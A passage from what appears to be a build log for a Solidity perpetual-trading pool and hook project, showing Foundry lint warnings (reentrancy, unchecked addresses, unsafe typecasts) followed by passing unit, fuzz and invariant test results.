after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:101:9\n    │\n101 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:215:9\n    │\n215 │         emit FeeLowered(newFeeBps);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:116:9\n    │\n116 │         SafeTransferLib.forceSafeTransferETH(ethTo, eth);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:220:9\n    │\n220 │         emit PerpFeeSet(bps);\n    │         ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:225:28\n    │\n225 │     function setPerpEngine(address engine) external onlyOwner {\n    │                            ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:227:9\n    │\n227 │         emit PerpEngineSet(engine);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:232:9\n    │\n232 │         emit SweepFailOpenSet(on);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:240:9\n    │\n240 │         emit SkimSet(skimBps_, maxDeviationBps_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:106:95\n    │\n106 │     function removeLiquidity(uint128 liq, address ethTo, address tokensTo) external onlyOwner nonReentrant {\n    │                                                                                               ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:245:9\n    │\n245 │         emit FeeExemptSet(caller, exempt);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[calls-loop]: external call inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:21\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/calls-loop\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpHook.sol:248:31\n    │\n248 │     function updateFeeAddress(address feeAddress_) external onlyOwner {\n    │                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:251:9\n    │\n251 │         emit FeeAddressUpdated(feeAddress_);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:118:9\n    │\n118 │         emit LiquidityRemoved(liq, eth, tokens, ethTo, tokensTo);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[require-revert-in-loop]: `require` or `revert` inside a loop\n    ╭▸ src/IMD6900PerpPool.sol:113:67\n    │\n113 │                 if (IPerpBookView(engine).isLiquidatable(ids[i])) revert WouldLiquidate(ids[i]);\n    │                                                                   ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/require-revert-in-loop\n\nwarning[non-reentrant-not-first]: `nonReentrant` is not the first modifier\n    ╭▸ src/IMD6900PerpPool.sol:128:9\n    │\n128 │         nonReentrant\n    │         ━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/non-reentrant-not-first\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:35\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[missing-zero-check]: address parameter is used in a state write or value transfer without a zero-address check\n    ╭▸ src/IMD6900PerpPool.sol:124:19\n    │\n124 │     function open(address token_, address curve_, uint160 sqrtPriceX96, uint256 tokenAmount)\n    │                   ━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/missing-zero-check\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:141:9\n    │\n141 │         emit Opened(sqrtPriceX96, ethIn, tokensIn, liq);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:135:9\n    │\n135 │         poolManager.initialize(poolKey(), sqrtPriceX96);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:155:32\n    │\n155 │         if (msg.value > ethIn) SafeTransferLib.forceSafeTransferETH(refundTo, msg.value - ethIn);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:157:9\n    │\n157 │         emit LiquidityAdded(msg.sender, liq, ethIn, tokensIn);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:174:9\n    │\n174 │         emit Compounded(liq, ethIn, tokensIn); // what the price could not pair stays here for next time\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpPool.sol:187:9\n    │\n187 │         IFeeSink(sink).addFees{value: msg.value}();\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpPool.sol:188:9\n    │\n188 │         emit FeesForwarded(msg.value);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:260:9\n    │\n260 │         emit FeeAddressRenounced(msg.sender);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[arbitrary-send-eth]: ETH is sent to a user-controlled destination; restrict the destination or the caller\n    ╭▸ src/IMD6900PerpHook.sol:271:32\n    │\n271 │         if (toFeeAddress != 0) SafeTransferLib.forceSafeTransferETH(feeAddress, toFeeAddress);\n    │                                ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/arbitrary-send-eth\n\nwarning[reentrancy-events]: event emitted after an external call; reentrancy can reorder or fabricate logs that off-chain consumers rely on\n    ╭▸ src/IMD6900PerpHook.sol:272:9\n    │\n272 │         emit FeesFlushed(amount - toFeeAddress, toFeeAddress);\n    │         ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/reentrancy-events\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:207:21\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                     ━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:47\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                               ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:207:55\n    │\n207 │         if (a0 < 0) poolManager.settle{value: uint256(uint128(-a0))}();\n    │                                                       ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:73\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                         ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:208:81\n    │\n208 │         else if (a0 > 0) poolManager.take(key.currency0, address(this), uint256(uint128(a0)));\n    │                                                                                 ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:71\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                       ━━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:211:79\n    │\n211 │             SafeTransferLib.safeTransfer(token, address(poolManager), uint256(uint128(-a1)));\n    │                                                                               ━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unused-return]: return value of an external call is not used\n    ╭▸ src/IMD6900PerpPool.sol:212:13\n    │\n212 │             poolManager.settle();\n    │             ━━━━━━━━━━━━━━━━━━━━\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/unused-return\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:60\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                            ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:214:68\n    │\n214 │             poolManager.take(key.currency1, address(this), uint256(uint128(a1)));\n    │                                                                    ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[return-bomb]: external call with a gas limit may copy unbounded return data\n    ╭▸ src/IMD6900PerpHook.sol:447:43\n    │\n447 │               (bool ok, bytes memory out) = engine.call{gas: g - reserve}(\n    │ ┏━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━┛\n448 │ ┃                 abi.encodeCall(IPerpSweep.sweepLiquidations, (tx.origin, spec, isBuy, limit))\n449 │ ┃             );\n    │ ┗━━━━━━━━━━━━━┛\n    │\n    ╰ help: https://getfoundry.sh/forge/linting/return-bomb\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:244:60\n    │\n244 │         return l > type(uint128).max ? type(uint128).max : uint128(l);\n    │                                                            ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:24\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                        ━━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:32\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                ━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:47\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                               ━━━━━━━━━━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint256' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\nwarning[unsafe-typecast]: typecast can truncate values\n    ╭▸ src/IMD6900PerpPool.sol:248:55\n    │\n248 │         return v < 0 ? uint256(uint128(-v)) : uint256(uint128(v));\n    │                                                       ━━━━━━━━━━\n    │\n    ├ note: consider disabling this lint if you're certain the cast is safe\n    │       \n    │       // casting to 'uint128' is safe because [explain why]\n    │       // forge-lint: disable-next-line(unsafe-typecast)\n    │       \n    │       \n    ╰ help: https://getfoundry.sh/forge/linting/unsafe-typecast\n\n","passed":true},{"durationMs":5117,"exitCode":0,"name":"test","output":"No files changed, compilation skipped\n\nRan 1 test for test/RobinhoodFlow.fork.t.sol:RobinhoodFlowForkTest\n[SKIP: skipped] setUp() (gas: 0)\nSuite result: ok. 0 passed; 0 failed; 1 skipped; finished in 322.00µs (0.00ns CPU time)\n\nRan 7 tests for test/IMD6900Perps.t.sol:IMD6900PerpsTest\n[PASS] test_AnyoneDeepensIt() (gas: 272860)\n[PASS] test_OnlyTheOwnerOpensAndRemoves() (gas: 231672)\n[PASS] test_OnlyThePoolAddsLiquidity() (gas: 405794)\n[PASS] test_OpensAtThePrice() (gas: 53519)\n[PASS] test_PerpsOffUntilAnEngineIsSet() (gas: 11157)\n[PASS] test_RefusesToDriftFarFromPons() (gas: 185623)\n[PASS] test_TradesBothWays() (gas: 409340)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 17.13ms (1.14ms CPU time)\n\nRan 11 tests for test/IMD6900Sweep.t.sol:IMD6900SweepTest\n[PASS] test_BandExemptionDoesNotBypassLiquidationSweep() (gas: 391812)\n[PASS] test_EngineOwnTradeSkipsSweepAndBandButStillPaysStaticFee() (gas: 290943)\n[PASS] test_ExactOutputSwapsAreSweptAndRemainQuotableBothWays() (gas: 541536)\n[PASS] test_IncompleteAndUnknownSweepStatusesAlwaysRevert() (gas: 1239039)\n[PASS] test_LowGasWithExplicitlyEmptyBookAllowsSpotTrade() (gas: 252869)\n[PASS] test_LowGasWithOpenPositionsRefusesToTradeBlind() (gas: 187365)\n[PASS] test_OwnerFailOpenRecoversUnavailableSweepButStillEnforcesBand() (gas: 916536)\n[PASS] test_PostSweepIsBestEffortForEveryFailureMode() (gas: 4470252)\n[PASS] test_PreAndPostSweepReceiveActualTradeAndOrigin() (gas: 612969)\n[PASS] test_RevertingEmptyShortAndOutOfGasPreSweepFailClosed() (gas: 3319334)\n[PASS] test_TradeTooLargeAlwaysRevertsEvenWithFailOpen() (gas: 628935)\nSuite result: ok. 11 passed; 0 failed; 0 skipped; finished in 20.18ms (4.65ms CPU time)\n\nRan 10 tests for test/IMD6900Reference.t.sol:IMD6900ReferenceTest\n[PASS] test_BondingCurvePriceRemainsReadable() (gas: 26404)\n[PASS] test_BondingReserveRevertAndMalformedReturnLeaveTradingOpen() (gas: 739227)\n[PASS] test_EachExternalReferenceReadMayFailWithoutBlockingTrades() (gas: 2798933)\n[PASS] test_GraduatedFactoryRevertDisablesBandButNotTrading() (gas: 812545)\n[PASS] test_GraduatedReferenceInversionAndMathFailureAreCaught() (gas: 903760)\n[PASS] test_GraduatedReferenceRemainsReadableAndBandStaysActive() (gas: 887701)\n[PASS] test_MalformedGraduatedRecordDisablesBandButNotTrading() (gas: 813650)\n[PASS] test_ReferenceRecoveryAutomaticallyRestoresBand() (gas: 554981)\n[PASS] test_ReferenceWithoutCodeLeavesTradingOpen() (gas: 403335)\n[PASS] test_ZeroReservesOrOverflowingReferenceLeaveTradingOpen() (gas: 1043741)\nSuite result: ok. 10 passed; 0 failed; 0 skipped; finished in 20.13ms (6.10ms CPU time)\n\nRan 6 tests for test/IMD6900Band.t.sol:IMD6900BandTest\n[PASS] test_CorrectionBeyondBandStillAllowedWithNestedSwap() (gas: 976653)\n[PASS] test_EngineAndBandExemptSwapsKeepTheirExemptionAndPayStaticFee() (gas: 668626)\n[PASS] test_PostTradeLiquidationCannotBypassBuyBand() (gas: 901791)\n[PASS] test_PostTradeLiquidationCannotBypassSellBand() (gas: 940231)\n[PASS] test_PreTradeLiquidationStillPreservesBand() (gas: 1113489)\n[PASS] test_SmallTradeAndPostTradeLiquidationStillSucceed() (gas: 1125328)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 22.27ms (3.32ms CPU time)\n\nRan 12 tests for test/IMD6900FailurePaths.t.sol:IMD6900FailurePathsTest\n[PASS] test_AllAdministrativeEntryPointsRejectNonOwner() (gas: 457546)\n[PASS] test_BothLiquidityCallbacksRequireLauncherAndFullRange() (gas: 193382)\n[PASS] test_CallbacksRequirePoolManager() (gas: 181639)\n[PASS] test_EmptyAddsAndCompoundMinimumsCannotConsumePendingAssets() (gas: 350102)\n[PASS] test_FailedTokenPayoutRollsBackEthPayoutAndLiquidityRemoval() (gas: 404853)\n[PASS] test_HookCanOnlyBeWiredOnce() (gas: 45481)\n[PASS] test_InvalidSkimSettingsLeaveConfigurationIntact() (gas: 169114)\n[PASS] test_OwnershipHandoffRevokesOldOwnerOnBothContracts() (gas: 421357)\n[PASS] test_RefundCallbackCannotReenterLiquidityOperations() (gas: 683094)\n[PASS] test_SwapRejectsWrongPoolKey() (gas: 51819)\n[PASS] test_WithdrawalChecksEveryPositionAndRollsBackSettlement() (gas: 1139998)\n[PASS] test_ZeroAndExcessiveRemovalAreAtomic() (gas: 141764)\nSuite result: ok. 12 passed; 0 failed; 0 skipped; finished in 24.88ms (2.94ms CPU time)\n\nRan 8 tests for test/IMD6900PerpsLaunch.t.sol:IMD6900PerpsLaunchTest\n[PASS] test_DeploysOnAFreshChain() (gas: 6153139)\n[PASS] test_EachDeployerMinesItsOwnSalt() (gas: 14228246)\n[PASS] test_FeeMetadataCannotDriftFromStaticPoolFee() (gas: 183160)\n[PASS] test_FeeMetadataSupportsStaticFeesBelowOnePercent() (gas: 37530)\n[PASS] test_FitsOneTransaction() (gas: 5992724)\nLogs:\n  launch and factory execution gas (mining included): 5778035\n  gas including conservative intrinsic allowance: 6113979\n  hook salts tried: 13465\n\n[PASS] test_PassesTheAdmissionScan() (gas: 7163759)\n[PASS] test_RefusesADynamicFee() (gas: 4568)\n[PASS] test_RefusesUnrepresentableOrOutOfRangeFee() (gas: 4524)\nSuite result: ok. 8 passed; 0 failed; 0 skipped; finished in 29.60ms (78.71ms CPU time)\n\nRan 7 tests for test/IMD6900LiquidityAccounting.t.sol:IMD6900LiquidityAccountingTest\n[PASS] testFuzz_AddKeepsFeesAndRefundsOnlyUnusedPrincipal(uint96,uint96) (runs: 256, μ: 2000537, ~: 1994383)\nLogs:\n  Bound result 24002\n  Bound result 224526018698254736721\n\n[PASS] test_AddRefundsPrincipalWhenFeesAreLessThanBothLegs() (gas: 1970505)\n[PASS] test_AddRefundsPrincipalWhenFeesExceedBothLegs() (gas: 1977510)\n[PASS] test_AddRefundsSeparateRecipientWithOneSidedFees() (gas: 692003)\n[PASS] test_CollectedFeesAreNotRefundedAgainOnTheNextAdd() (gas: 2365152)\n[PASS] test_CompoundReinvestsPendingFeesAndReportsPrincipal() (gas: 3674640)\n[PASS] test_RemoveStillPaysPrincipalPlusFeesAndOwnerCanDisableBrokenEngine() (gas: 2627985)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 136.46ms (133.09ms CPU time)\n\nRan 4 tests for test/IMD6900LiquidityMath.t.sol:IMD6900LiquidityMathTest\n[PASS] testFuzz_QuotedLiquidityNeverRequiresMoreThanEitherDeposit(int24,uint128,uint128) (runs: 1000, μ: 45269, ~: 45126)\nLogs:\n  Bound result 5510\n  Bound result 242\n  Bound result 700000\n\n[PASS] test_NarrowedLiquiditySaturatesWithoutWrapping() (gas: 16607)\n[PASS] test_OneUnitFromEachBoundaryWithAffordablePrincipal() (gas: 31118)\n[PASS] test_ZeroOneAndTwoUnitsAtEqualPrice() (gas: 43926)\nSuite result: ok. 4 passed; 0 failed; 0 skipped; finished in 137.95ms (138.02ms CPU time)\n\nRan 6 tests for test/IMD6900FailurePaths.t.sol:IMD6900OpenFailuresTest\n[PASS] test_InitializeRejectsUnauthorizedSenderAndEachWrongKeyField() (gas: 808902)\n[PASS] test_OpenRequiresOwnerAndWiredHook() (gas: 98216)\n[PASS] test_OpenWithMissingAllowanceIsAtomicAndCanBeRetried() (gas: 676638)\n[PASS] test_SecondOpenCannotChangeTokenCurveOrPrice() (gas: 789593)\n[PASS] test_UnopenedPoolRejectsAddAndCompound() (gas: 101925)\n[PASS] test_ZeroOrOneWeiOpeningRollsBackInitializationAndTransfers() (gas: 1448294)\nSuite result: ok. 6 passed; 0 failed; 0 skipped; finished in 146.97ms (3.41ms CPU time)\n\nRan 7 tests for test/IMD6900Fees.t.sol:IMD6900FeesTest\n[PASS] testFuzz_PublicFlushPaysOnlyDesignatedRecipients(uint256) (runs: 1000, μ: 141725, ~: 145109)\nLogs:\n  Bound result 100000000000000000\n\n[PASS] test_FailingSinkRollsBackBothSharesAndOwnerCanRecover() (gas: 445184)\n[PASS] test_FeeRecipientCanRenounceButCannotChangeRecipient() (gas: 190678)\n[PASS] test_FeeRoundingAtZeroOneAndPercentBoundaries() (gas: 349821)\n[PASS] test_ForwardingUsesPoolAsCallerAndDoesNotResplitRetainedFees() (gas: 477967)\n[PASS] test_OwnerCanRenounceAndNeitherPartyCanRestoreFeeShare() (gas: 249839)\n[PASS] test_RejectingFeeRecipientStillReceivesPayment() (gas: 258667)\nSuite result: ok. 7 passed; 0 failed; 0 skipped; finished in 147.00ms (145.57ms CPU time)\n\nRan 1 test for test/IMD6900LiquidityMath.t.sol:IMD6900RoundTripTest\n[PASS] testFuzz_RepeatedLiquidityRoundTripsCannotCreateValue(uint96,uint96,uint8) (runs: 1000, μ: 1420606, ~: 1453112)\nLogs:\n  Bound result 2209\n  Bound result 99999999990000000000007755\n  Bound result 2\n\nSuite result: ok. 1 passed; 0 failed; 0 skipped; finished in 149.09ms (128.57ms CPU time)\n\nRan 2 tests for test/IMD6900Fees.t.sol:IMD6900FeeInvariantTest\n[PASS] invariant_EveryWeiHasExactlyOneBeneficiary() (runs: 256, calls: 16384, reverts: 0)\n\n╭--------------------+----------+-------+---------+----------╮\n| Contract           | Selector | Calls | Reverts | Discards |\n+============================================================+\n| FeeSequenceHandler | donate   | 4160  | 0       | 0        |\n|--------------------+----------+-------+---------+----------|\n| FeeSequenceHandler | flush    | 4070  | 0       | 0        |\n|--------------------+----------+-------+---------+----------|\n| FeeSequenceHandler | renounce | 4098  | 0       | 0        |\n|--------------------+----------+-------+---------+----------|\n| FeeSequenceHandler | route    | 4056  | 0       | 0        |\n╰--------------------+----------+-------+---------+----------╯\n\nLogs:\n  Bound result 4562\n  Bound result 33\n  Bound result 10000\n  Bound result 127\n  Bound result 7786\n  Bound result 7341\n  Bound result 1204\n  Bound result 6282\n  Bound result 96\n  Bound result 128\n  Bound result 3\n  Bound result 16385\n  Bound result 35292628\n  Bound result 393827718\n\n[PASS] test_FeeSequenceExercisesBothRoutesAndIrreversibleRenunciation() (gas: 986905)\nLogs:\n  Bound result 101\n  Bound result 100\n  Bound result 100\n\nSuite result: ok. 2 passed; 0 failed; 0 skipped; finished in 1.32s (1.31s CPU time)\n\nRan 2 tests for test/IMD6900Custody.invariant.t.sol:IMD6900CustodyInvariantTest\n[PASS]\nIMD6900CustodyInvariantTest invariants:\n[PASS] invariant_PositionIsSolelyOwnedAndFullyBacked\n[PASS] invariant_PrincipalFeesAndPendingAssetsRemainInCustody\n IMD6900CustodyInvariantTest invariants (runs: 256, calls: 20480, reverts: 0)\n\n╭------------------------+------------------------+-------+---------+----------╮\n| Contract               | Selector               | Calls | Reverts | Discards |\n+==============================================================================+\n| CustodySequenceHandler | add                    | 3489  | 0       | 0        |\n|------------------------+------------------------+-------+---------+----------|\n| CustodySequenceHandler | compound               | 3437  | 0       | 0        |\n|------------------------+------------------------+-------+---------+----------|\n| CustodySequenceHandler | donate                 | 3405  | 0       | 0        |\n|------------------------+------------------------+-------+---------+----------|\n| CustodySequenceHandler | remove                 | 3376  | 0       | 0        